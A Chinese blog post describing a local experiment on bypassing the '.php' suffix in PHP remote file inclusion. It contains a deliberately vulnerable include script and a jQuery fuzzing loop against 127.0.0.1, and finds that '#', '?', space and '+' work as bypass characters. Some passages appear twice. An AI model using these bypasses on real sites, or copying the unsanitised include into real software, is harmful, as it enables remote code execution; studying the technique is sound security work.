PHP RFI 的小tip
2016-04-19 21:46
696 查看
有关PHP include的帖子网上已经很多了,wooyun的知识库里面也有一篇总结的很好的文章,传送门:http://drops.wooyun.org/tips/3827,今晚在看书的时候看到RFI绕过包含,总结常用的技巧有:%00截断,利用系统对目录最大长度的限制绕过,使用?绕过。但是前两种方法在PHP>5.3之后就没用了,唯独剩下?绕过可用。
于是乎想到的问题是:除了使用?,还有其他可用的方式没有。
针对这个问题,想到的答案是,如果有,那应该也是存在于一些特殊或不常用的字符里。
开始动手做实验:
服务端:
测试脚本:
运行结果:
其中%23 和%3f在乌云的那篇总结帖里面已经有了,就是利用"#"和"?"绕过,但是还有空格也能绕过,和空格有等效作用的就是"+"了。
如图:
于是乎想到的问题是:除了使用?,还有其他可用的方式没有。
针对这个问题,想到的答案是,如果有,那应该也是存在于一些特殊或不常用的字符里。
开始动手做实验:
服务端:
<?php echo "包含的文件是:".$_GET['a'].".php"; include($_GET['a'].".php"); ?>
测试脚本:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>RFI Test</title> <script src="./libs/jquery.js"></script> </head> <body> 可成功包含的字符: <div id="can"> </div> <script> var reg="phpinfo()"; for(var i=0x00;i<=0x40;i++) { var uri="http://127.0.0.1:81/mycode/include.php?a=http://127.0.0.1:81/mycode/1.txt%"+i.toString(16) $.ajax({ "url":uri, "type":"GET", "async":false, "success":function(data){ if(data.indexOf("phpinfo()")>0) { $("#can").append(uri+"<br>"); } }, }) } </script> </body> </html>
运行结果:
其中%23 和%3f在乌云的那篇总结帖里面已经有了,就是利用"#"和"?"绕过,但是还有空格也能绕过,和空格有等效作用的就是"+"了。
如图:
相关文章推荐
- php 自带函数
- PHP mail() 函数
- 记录一下对TP的研究
- Win7x64系统过TP的一些尝试和目前遇到的问题
- PHP中namespace和use使用详解
- gearman 引起的PHP Fatal error
- yii2中自定义验证规则rules
- php 开启伪静态 配置路由规则
- php-fpm的启动、关闭、重启
- ZendStudio快捷键
- Notice: Undefined index: submit in D:\.....php on line 2问题
- 怎么利用composer创建laravel项目
- TP框架-storage类分析
- 记一次映射公网地址FTP服务问题的解决方法
- php的laravel数据库版本管理器migration
- ThinkPHP使用方法(1_ThinkPHP的安装)
- laravel blade模板介绍
- each4.php
- MordenPHP阅读笔记(一)——先跑再说,跑累了再走
- each.php